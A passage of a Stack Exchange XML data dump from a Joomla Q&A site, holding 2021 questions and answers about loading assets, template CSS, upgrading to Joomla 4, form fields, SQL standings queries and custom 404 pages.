true]&#xA;);&#xA;&#xA;HTMLHelper::_(&#xA;'script',&#xA;'com_foo/foo.js',&#xA;['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To add your CSS/JS to specific pages, you could add it within some check for the page (on option/view/id or the menu item via Itemid)&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-10-29T08:33:31.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31629" PostTypeId="1" CreationDate="2021-10-29T09:31:12.243" Score="0" ViewCount="111" Body="&lt;p&gt;I am using GTranslate for Joomla in my Joomla websites. It was working fine. Last day I have observed it stop working, and shows 400 errors in the console (Failed to load resource: the server responded with a status of 400 ()).&lt;/p&gt;&#xA;&lt;p&gt;I found in the console,&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;https://translate.googleapis.com/translate_a/l?[object Map Iterator]=[object Map Iterator]&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Joomla version is, 3.10.1, GTranlator version 3.7.6&lt;/p&gt;&#xA;" OwnerUserId="14598" LastActivityDate="2024-03-15T18:01:05.143" Title="GTranslate for Joomla showing 400 error and stop working" Tags="|translation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31630" PostTypeId="2" ParentId="31626" CreationDate="2021-10-29T11:52:15.977" Score="1" Body="&lt;p&gt;In addition, you should check which page you need via this way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;$app = Factory::getApplication();&#xA;$option = $app-&amp;gt;input-&amp;gt;get('option'); // your component like com_content, com_virtuemart etc.&#xA;$view = $app-&amp;gt;input-&amp;gt;get('view'); // view in your component &#xA;$id = $app-&amp;gt;input-&amp;gt;get('id'); // id of item of your component: product, article or any you need.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And so on, you should find your conditions and then check it in if-else construction.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($option == 'com_content' &amp;amp;&amp;amp; $id == '123456') {    &#xA;    HTMLHelper::_(&#xA;        'stylesheet',&#xA;        'com_foo/foo.css', &#xA;        ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]&#xA;    );&#xA;&#xA;    HTMLHelper::_(&#xA;        'script',&#xA;        'com_foo/foo.js',&#xA;        ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the true way is to create a system plugin on &lt;strong&gt;onBeforeCompileHead&lt;/strong&gt; event and do this job inside the plugin.&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="12352" LastEditDate="2021-10-30T21:19:05.100" LastActivityDate="2021-10-30T21:19:05.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31631" PostTypeId="2" ParentId="31612" CreationDate="2021-10-30T18:05:11.663" Score="0" Body="&lt;p&gt;Ok I found the reason myself.&lt;/p&gt;&#xA;&lt;p&gt;Joomla 4 uses the namespace to detect the components name and creates the &lt;code&gt;option=com_xxx_yyy&lt;/code&gt; from it.&lt;/p&gt;&#xA;&lt;p&gt;So a namespace like&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Vendor/Component/XXX_YYY&lt;/code&gt; results in &lt;code&gt;option=com_xxx_yyy&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Vendor/Component/XZYZZZ&lt;/code&gt; results in &lt;code&gt;option=com_xzyzzz&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13188" LastActivityDate="2021-10-30T18:05:11.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31632" PostTypeId="1" CreationDate="2021-10-30T21:30:08.843" Score="0" ViewCount="77" Body="&lt;p&gt;The Protostar template has a border around all the content and modules, except for the footer module. How do I get rid of this border?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iyown.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iyown.png&quot; alt=&quot;border in protostar&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13597" LastEditorUserId="12352" LastEditDate="2021-10-31T05:34:51.850" LastActivityDate="2021-10-31T09:10:18.197" Title="Removing the border around the content in Protostar" Tags="|templates|css|styling|protostar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31634" PostTypeId="2" ParentId="31632" CreationDate="2021-10-31T09:10:18.197" Score="1" Body="&lt;p&gt;Create a new file called &lt;code&gt;user.css&lt;/code&gt; in the following directory:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;templates/protostar/css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and add the folowing code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.body .container,&#xA;.well {&#xA;    border: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-10-31T09:10:18.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31635" PostTypeId="1" CreationDate="2021-10-31T12:28:11.907" Score="0" ViewCount="122" Body="&lt;p&gt;We are planning to upgrade Joomla 3.3.6 to Version 4. Currently, we are at Postgres version 9.6. Since the final release for PostgreSQL 9.6 is slated for November 11th, 2021, we are planning to upgrade the Postgres to version 11 also.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone please provide a step by step guide for doing this?&lt;/p&gt;&#xA;" OwnerUserId="15477" LastEditorUserId="12352" LastEditDate="2021-10-31T19:56:34.600" LastActivityDate="2023-12-24T07:01:15.150" Title="Upgrade Joomla 3.3.6 to Version 4" Tags="|upgrade|joomla-4|postgresql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31636" PostTypeId="1" AcceptedAnswerId="31644" CreationDate="2021-11-01T18:11:39.543" Score="2" ViewCount="224" Body="&lt;p&gt;Older versions of Joomla were able to just use &lt;code&gt;JHtml::_('behavior.colorpicker');&lt;/code&gt; and then have inputs with the class &lt;code&gt;minicolors minicolors-input&lt;/code&gt; to use a color picker.&lt;/p&gt;&#xA;&lt;p&gt;That functionality no long exists in Joomla 4.x. The old Html\Behavior file mentions in a deprecation note that users should either switch to either the field or the layout for rendering. The issue I'm having is figuring out how exactly to go about this.&lt;/p&gt;&#xA;&lt;p&gt;Thus far I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$color = new Joomla\CMS\Form\Field\ColorField();&#xA;$color-&amp;gt;__set('name', 'debug');&#xA;echo $color-&amp;gt;renderField();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not only does that not feel like the correct method, but it also throws an error/warning:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Notice: Trying to access array offset on value of type null in /libraries/src/Form/FormField.php on line 834&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2021-11-04T06:50:46.307" Title="How to update colorpicker fields to Joomla 4.x" Tags="|joomla-4.x|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31637" PostTypeId="1" CreationDate="2021-11-01T20:13:41.540" Score="1" ViewCount="279" Body="&lt;p&gt;I am making a very simple product page for my site. With very little component development experience, I decided to build this page with Javascript only. The URLs will be like &lt;a href=&quot;https://mystie.com/product?id=13367&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mystie.com/product?id=13367&lt;/a&gt;, where I use Javascript to get the product info from an outside JSON api:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$.get('https://jsonapi.url/?id=13367',function(product){&#xA;   displayProductPage(product)&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For this page I use &lt;a href=&quot;https://docs.gantry.org/gantry5/configure/menu-item&quot; rel=&quot;nofollow noreferrer&quot;&gt;gantry's custom page&lt;/a&gt; and put a custom module on it, the function &lt;code&gt;displayProductPage&lt;/code&gt; will render html for the product and append it to the custom module.&lt;/p&gt;&#xA;&lt;p&gt;It's after I finished the html/css/javascript part when I realized I had missed one important thing: I need to set the meta tags according to the product id: og:image, og:description etc., so when people share the page Facebook will get the correct info of the product.&lt;/p&gt;&#xA;&lt;p&gt;I've asked the same question in &lt;a href=&quot;https://github.com/gantry/gantry5/issues/2919&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gantry's github page&lt;/a&gt; but haven't got it solved yet.&lt;/p&gt;&#xA;&lt;p&gt;So far, I've been able to find the PHP code to set the meta tag, I believe it's as simple as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;setMetaData('og:title', $link_title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I just don't know where to put these codes in my project.&lt;/p&gt;&#xA;&lt;p&gt;PS: One quickest and simplest solution might be just put the PHP code in the custom module but I've never done that before. While waiting for answers I will be going through this option.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2021-11-01T20:13:41.540" Title="How to programmatically change a page's meta tag?" Tags="|development|gantry|metadata|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31638" PostTypeId="1" AcceptedAnswerId="31643" CreationDate="2021-11-02T03:11:24.653" Score="1" ViewCount="401" Body="&lt;p&gt;I have been struggling with this one for a couple days.  I am trying to build a Joomla component that will display team standings based on record and then points for and points against.  Currently I have the winning team of a game pushed into an array, but now trying to find a way to count the amount of times each specific name is in the array and display each teams record.  For some reason this is really kicking my butt, any suggestions on what I am doing wrong or how to make it work is greatly appreciated.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$wins = array();&#xA;$loss = array();&#xA;$ties = array();&#xA;$db = Factory::getDBO();&#xA;$query = $db-&amp;gt;getQuery( true );&#xA;$query = &amp;quot;SELECT s.id as id,s.hometeamid,s.awayteamid,b.finv,b.finh,ht.id as hometeamid,ht.name as hometeamname,at.id as awayteamid,at.name as awayteamname&#xA;          FROM #__football_schedule s &#xA;          INNER JOIN #__football_boxscore b ON b.gameid=s.id &#xA;          LEFT OUTER JOIN #__football_team ht ON ht.id = s.hometeamid&#xA;          LEFT OUTER JOIN #__football_team at ON at.id = s.awayteamid&amp;quot;;&#xA;$db-&amp;gt;setQuery( $query );    &#xA;$schedules = $db-&amp;gt;loadObjectList();&#xA;foreach ($schedules as $schedule) {&#xA;    if ($schedule-&amp;gt;finh &amp;gt; $schedule-&amp;gt;finv) {&#xA;        array_push($wins, $schedule-&amp;gt;hometeamid, $schedule-&amp;gt;finh);&#xA;    }&#xA;    if ($schedule-&amp;gt;finv &amp;gt; $schedule-&amp;gt;finh) {&#xA;        array_push($wins, $schedule-&amp;gt;awayteamid);&#xA;    }&#xA;    if ($schedule-&amp;gt;finh &amp;lt; $schedule-&amp;gt;finv) {&#xA;        array_push($loss, $schedule-&amp;gt;hometeamid, $schedule-&amp;gt;finh);&#xA;    }&#xA;    if ($schedule-&amp;gt;finv &amp;lt; $schedule-&amp;gt;finh) {&#xA;        array_push($loss, $schedule-&amp;gt;awayteamid);&#xA;    }&#xA;    if ($schedule-&amp;gt;finv == $schedule-&amp;gt;finh) {&#xA;        array_push($ties, $schedule-&amp;gt;hometeamid and $schedule-&amp;gt;awayteamid);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://sqlfiddle.com/#!9/af734f/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQL Fiddle&lt;/a&gt; with the above tables and some sample data.&lt;/p&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="12352" LastEditDate="2021-11-04T19:11:39.560" LastActivityDate="2021-11-04T19:11:39.560" Title="Calculate wins, losses and ties for each team in database" Tags="|sql|joomla-4.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31639" PostTypeId="1" CreationDate="2021-11-02T12:54:48.670" Score="0" ViewCount="9" Body="&lt;p&gt;Is there anyway to email the author of the item/article about the upcoming expiry of an item?&lt;/p&gt;&#xA;" OwnerUserId="15855" LastActivityDate="2021-11-02T12:54:48.670" Title="Email notifications for expiry item on K2 (Joomla )" Tags="|joomla-3.x|k2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31640" PostTypeId="2" ParentId="31622" CreationDate="2021-11-02T20:25:58.280" Score="0" Body="&lt;p&gt;I feel like there are several aspects of your task that I am not fully understanding, but in terms of ordering the parent ids and the plan ids, I think I can offer some help.&lt;/p&gt;&#xA;&lt;p&gt;I don't ever recommend using comma-syntax for JOINing tables -- it's just harder to read and maintain.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure about the relevance of joining the users table, but I'll add that in and assume that you'll be able to modify the SELECT clause for your needs.&lt;/p&gt;&#xA;&lt;p&gt;Raw SQL (&lt;a href=&quot;https://www.db-fiddle.com/f/gi6vnWVYQddvXZt1vpxw2L/5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT sub.parent_plan,&#xA;       sub.plan_id&#xA;FROM subscriptions AS sub&#xA;JOIN users         AS u   ON sub.user_id = u.id&#xA;JOIN fields        AS ue  ON sub.user_id = ue.user_id&#xA;WHERE sub.status = 'A'&#xA;ORDER BY FIELD(sub.plan_id,14,35,34,33,32,31,17,16,15,11,29,28,27,13,26,25,12,9,10,8,24,23,7,5,18,30,21,20,3,1,19,2),&#xA;         ue.sub_region,&#xA;         ue.country,&#xA;         ue.state,&#xA;         ue.city&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The following solution works so far but still the order is not perfect. It is an indication though on how to use it in the specific subquery of CB for anyone that might find it useful.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;( SELECT FIELD(sub.`plan_id`, 14,35,34,33,32,31,17,16,15,11,29,28,27,13,26,25,12,9,10,8,24,23,7,5,18,30,21,20,3,1,19,2) AS pid&#xA;   FROM `subscriptions` AS sub&#xA;   WHERE sub.`plan_id` IN (14,35,34,33,32,31,17,16,15,11,29,28,27,13,26,25,12,9,10,8,24,23,7,5,18,30,21,20,3,1,19,2)&#xA;   AND sub.`user_id` = u.`id`&#xA;   AND sub.`status` = 'A' &#xA;   LIMIT 1),&#xA;       ue.`region` ASC,&#xA;       ue.`country` ASC,&#xA;       ue.`state` ASC,&#xA;       ue.`city` ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="14225" LastEditDate="2021-11-09T06:24:20.957" LastActivityDate="2021-11-09T06:24:20.957" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31641" PostTypeId="2" ParentId="31635" CreationDate="2021-11-02T21:55:14.890" Score="0" Body="&lt;p&gt;There is no detail about your environment and each environment can be very different so this general advice regarding the steps you should consider.&lt;/p&gt;&#xA;&lt;p&gt;I think you should break down the migration into smaller tasks(update Joomla, update PostgreSQL, Upgrade to Joomla 4) and perform tests migrations on a copy of your site until you are sure it all works rather than try and do all of this in one go.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update to Joomla 3.10.x&lt;/strong&gt;&#xA;First clone your Joomla 3.3.6 site so that you have a working copy of your site that you can delete and start again if the update(s) fail. Whether you do that on a local machine or a different directory on your Hosting Account depends on your environment and skills.&lt;/p&gt;&#xA;&lt;p&gt;Look at any extensions that need to be updated to work with Joomla 3.10.x and update them.&lt;/p&gt;&#xA;&lt;p&gt;Because you are so far behind with Joomla 3.3.6 you may find you will have to find some older versions of Joomla 3.x and update through the various releases, Joomla 3.5 to 3.6 to 3.8 to 3.9 to 3.10 for example. Or you could just try and go straight to Joomla 3.10.x and if it works then you got lucky otherwise it might break your test site and you will have to either start with a fresh copy of your existing site to try and fix the errors along the way.&lt;/p&gt;&#xA;&lt;p&gt;There are so many potential issues that could arise it is is near impossible to provide a simple 'do this, do that' set of instructions.&lt;/p&gt;&#xA;&lt;p&gt;Once you have a working copy of your site on Joomla 3.10 you should back the test site up as a fallback position if the next steps fail.&lt;/p&gt;&#xA;&lt;p&gt;You now have a choice to either replace your existing live site with the Joomla 3.10.x version of your site, which is how I would do it, or you back up your site 3.3.6 site again and go through the same steps to bring it up to date with 3.10.x now that you know what needs to be done. How often the data on your site is updated can have a bearing on which is the best way to go here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update PostgreSQL&lt;/strong&gt;&#xA;Once you have a working Joomla 3.10.x site you can create a new clone and test updating the PostgreSQL version.&lt;/p&gt;&#xA;&lt;p&gt;I am not familiar with PostgreSQL or your hosting environment to know whether you can run multiple version of PostgreSQL in the same account or what methods for migrating data from one version to another is required or if just restoring your Joomla 3.10.x back up into a PostGgreSQL 11.x environment is all that is required.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Upgrade Joomla 4&lt;/strong&gt;&#xA;Now you can consider the tasks needed to migrate up to Joomla 4 but the steps are essentially the same, take a copy of your Joomla 3.10.x site elsewhere that you can work on and test upgrading to Joomla 4 and see what works and doesn't work and address those issues until you have a working Joomla 4.x that you can replace your live site with.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2021-11-02T21:55:14.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31643" PostTypeId="2" ParentId="31638" CreationDate="2021-11-03T22:07:01.317" Score="1" Body="&lt;p&gt;Logically speaking, you only need the &lt;code&gt;#__football_boxscore&lt;/code&gt; data. The convolution comes with the fact that you need to relate the final scores to individual teams -- made more difficult because the team id might be in the home id or away id column.&lt;/p&gt;&#xA;&lt;p&gt;To relate the team table rows to the boxscore table rows, you'll need to leverage the schedule table.  Since you'll never need to account for &amp;quot;unrelated&amp;quot; ids between these tables, using standard JOINs is appropriate.  This would be true, if for some reason, you wanted to relate scheduled games to games that have not been created in the boxscore table.&lt;/p&gt;&#xA;&lt;p&gt;After joining the tables, you will need to condense all rows down so that a team only exists once in the result set -- use GROUP BY.&lt;/p&gt;&#xA;&lt;p&gt;Now that the team-specific data has been &amp;quot;crowded together&amp;quot;, you'll need to use conditions and aggregate functions in the SELECT clause to prepare and prepare the game outcome tallies.  If, within the group of boxscore data, you have a row where both scores are the same, then you don't need to check which team had which score -- it's a tie.  If not a tie, you'll need to see if the current row's team id is in the home or away column and determine if the team won or lost.&lt;/p&gt;&#xA;&lt;p&gt;The SQL that I've craft looks pretty elegant to me, but arriving at this script is not very easy for developers who are new to aggregate functions.  Setting up the SQL in this way should allow you to extend the functionality if/when needed -- for instance, if you only wanted the win/loss/draw records for a single team, you could just write the SQL with a WHERE clause between the last JOIN and the GROUP BY then you're done!&lt;/p&gt;&#xA;&lt;p&gt;Raw SQL (&lt;a href=&quot;https://www.db-fiddle.com/f/qb7v887RGECyFxLdnR7AnR/1&quot; rel=&quot;nofollow noreferrer&quot;&gt;DB Fiddle&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT tm.id,&#xA;       tm.name,&#xA;       SUM(bs.finh = bs.finv) ties,&#xA;       SUM((tm.id = sc.hometeamid AND bs.finh &amp;gt; bs.finv) OR (tm.id = sc.awayteamid AND bs.finh &amp;lt; bs.finv)) wins,&#xA;       SUM((tm.id = sc.hometeamid AND bs.finh &amp;lt; bs.finv) OR (tm.id = sc.awayteamid AND bs.finh &amp;gt; bs.finv)) losses&#xA;FROM #__football_team tm&#xA;JOIN #__football_schedule sc ON tm.id IN (sc.hometeamid, sc.awayteamid)&#xA;JOIN #__football_boxscore bs ON sc.id = bs.gameid&#xA;GROUP BY tm.id, tm.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-11-03T22:25:38.643" LastActivityDate="2021-11-03T22:25:38.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31644" PostTypeId="2" ParentId="31636" CreationDate="2021-11-04T06:50:46.307" Score="2" Body="&lt;p&gt;Neither form fields, nor their layouts are really designed to be used outside of Form API. Things can break very easily this way. A form instance is expected in some fields and a field instance in some layouts. To use a form field alone you have to create a &lt;code&gt;SimpleXMLElement&lt;/code&gt; instance with the field tag as it would appear in the form definition and pass it to field's &lt;code&gt;setup()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$field = new Joomla\CMS\Form\Field\ColorField;&#xA;$field-&amp;gt;setup(new SimpleXMLElement('&amp;lt;field type=&amp;quot;color&amp;quot; name=&amp;quot;myfield&amp;quot; /&amp;gt;'), $value);&#xA;echo $field-&amp;gt;renderField();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That said, if you were using color picker outside of Form API, you can continue doing that. Manually load the minicolors assets and initialization script, which is essentially what &lt;code&gt;JHtml::_('behavior.colorpicker')&lt;/code&gt; was doing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get the web asset manager.&#xA;$webAssetManager = Joomla\CMS\Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;&#xA;// Load the assets.&#xA;$webAssetManager&#xA;    -&amp;gt;usePreset('minicolors')&#xA;    -&amp;gt;useScript('field.color-adv');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will add minicolors to all &lt;code&gt;input&lt;/code&gt; elements with &lt;code&gt;minicolors&lt;/code&gt; class as it was in J3.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-11-04T06:50:46.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31645" PostTypeId="1" AcceptedAnswerId="31647" CreationDate="2021-11-04T20:41:31.653" Score="0" ViewCount="48" Body="&lt;p&gt;I use this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$currency = new MyCurrency();&#xA;print_r($currency);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to load/print the following Object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MyCurrency Object (&#xA;[currencyCode:protected] =&amp;gt; EUR&#xA;[currencies:protected] =&amp;gt; Array (&#xA;[USD] =&amp;gt; Array ( [currency_id] =&amp;gt; 1 [currency_name] =&amp;gt; US Dollar [left_symbol] =&amp;gt; $  [exchanged_value] =&amp;gt; 1.12000000 )&#xA;[EUR] =&amp;gt; Array ( [currency_id] =&amp;gt; 2 [currency_name] =&amp;gt; Euro [left_symbol] =&amp;gt;  €  [exchanged_value] =&amp;gt; 1.00000000 )&#xA;[GBP] =&amp;gt; Array ( [currency_id] =&amp;gt; 3 [currency_name] =&amp;gt; Pound Sterling [left_symbol] =&amp;gt; £  [exchanged_value] =&amp;gt; 0.89999998 )&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am trying to get the active currency [currencyCode:protected] =&amp;gt;EUR and values from the Array [currencies:protected] but fail no matter what.&lt;/p&gt;&#xA;&lt;p&gt;Can i get the values to variables in the way that i am trying?&#xA;(The following are definitely wrong but they are an example of what i am trying)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$active_currency = $currency-&amp;gt;currencyCode;&#xA;$USD_icon = $currency-&amp;gt;currencies[USD]-&amp;gt;left_symbol;&#xA;$USD_value = $currency-&amp;gt;currencies[USD]-&amp;gt;exchanged_value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2021-11-05T10:21:37.297" LastActivityDate="2021-12-05T11:03:15.333" Title="Get Object Values" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31646" PostTypeId="1" CreationDate="2021-11-04T21:49:19.993" Score="1" ViewCount="91" Body="&lt;p&gt;I'm writing a new extension in Joomla4.  When I add an item to my menu and click on the link that is generated on the main menu, it keeps saying the page cannot be found, but if I change the number after the &lt;code&gt;Itemid=&lt;/code&gt; to anything else or add a &lt;code&gt;?&lt;/code&gt; to the end it works.  Does anyone know why the link with the menu id is not working?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ibb.co/2tjhgKf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/2tjhgKf&lt;/a&gt; with site defaulted ItemId&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://ibb.co/tccpMdF&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ibb.co/tccpMdF&lt;/a&gt; after removing ItemId, changing the number, or adding ? to end&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15798" LastEditorUserId="12352" LastEditDate="2021-11-05T06:18:29.273" LastActivityDate="2021-11-05T06:18:29.273" Title="Link not working after menuid being applied?" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31647" PostTypeId="2" ParentId="31645" CreationDate="2021-11-05T10:21:13.397" Score="0" Body="&lt;p&gt;I was able to access the class and use a public function in order to get the values that i needed the correct way.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$currency = new MyCurrency();&#xA;$active_currency = $currency-&amp;gt;getCurrencyCode();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2021-11-05T10:21:13.397" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31648" PostTypeId="1" CreationDate="2021-11-06T12:55:57.057" Score="1" ViewCount="124" Body="&lt;p&gt;In Joomla 3 I had a really simple error.php file which pulled in the content from an article with the title '404'. I created an article named 404 and assigned it to a menu item of type 'single article' - also called 404. This means that the client can modify the article content from the front end if required and there is no need to access the error.php to make changes to the content.&lt;/p&gt;&#xA;&lt;p&gt;This is the J3 code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access');&#xA;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') { &#xA;    header (&amp;quot;HTTP/1.0 404 Not Found&amp;quot;);&#xA;    echo file_get_contents(JURI::root().'?option=com_content&amp;amp;view=article&amp;amp;id=18');&#xA;    exit;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;id-18&lt;/code&gt; is the id of the 404 article.&lt;/p&gt;&#xA;&lt;p&gt;As in J3 in J4 I have created an article named 404 and assigned it to a menu item of type 'single article' - also called 404.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: NB - I am not using the site Cassiopeia, I have a custom template.&lt;/p&gt;&#xA;&lt;p&gt;But in the error.php file I can't work out how the 'echo' line needs to change. I have tried this (and numerous other options) without success:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access');&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Uri\Uri;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;$app = Factory::getApplication();&#xA;&#xA;$url = Route::_(&amp;quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=154&amp;quot;);&#xA;&#xA;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') { &#xA;    header (&amp;quot;HTTP/1.0 404 Not Found&amp;quot;);&#xA;    echo file_get_contents(Route::_('index.php?option=com_content&amp;amp;view=article&amp;amp;id=154'));  &#xA;    exit;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this results in this message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Warning: file_get_contents(/404): failed to open stream: No such file or directory in /home/[myroot]/[mydomain]/templates/mytemplate/error.php on line 14&amp;quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So what do I need to do?&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="12352" LastEditDate="2021-11-07T03:43:44.493" LastActivityDate="2021-11-07T03:43:44.493" Title="J4.x - How to echo content from a specific article into error.php" Tags="|php|articles|joomla-4|error-pages|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
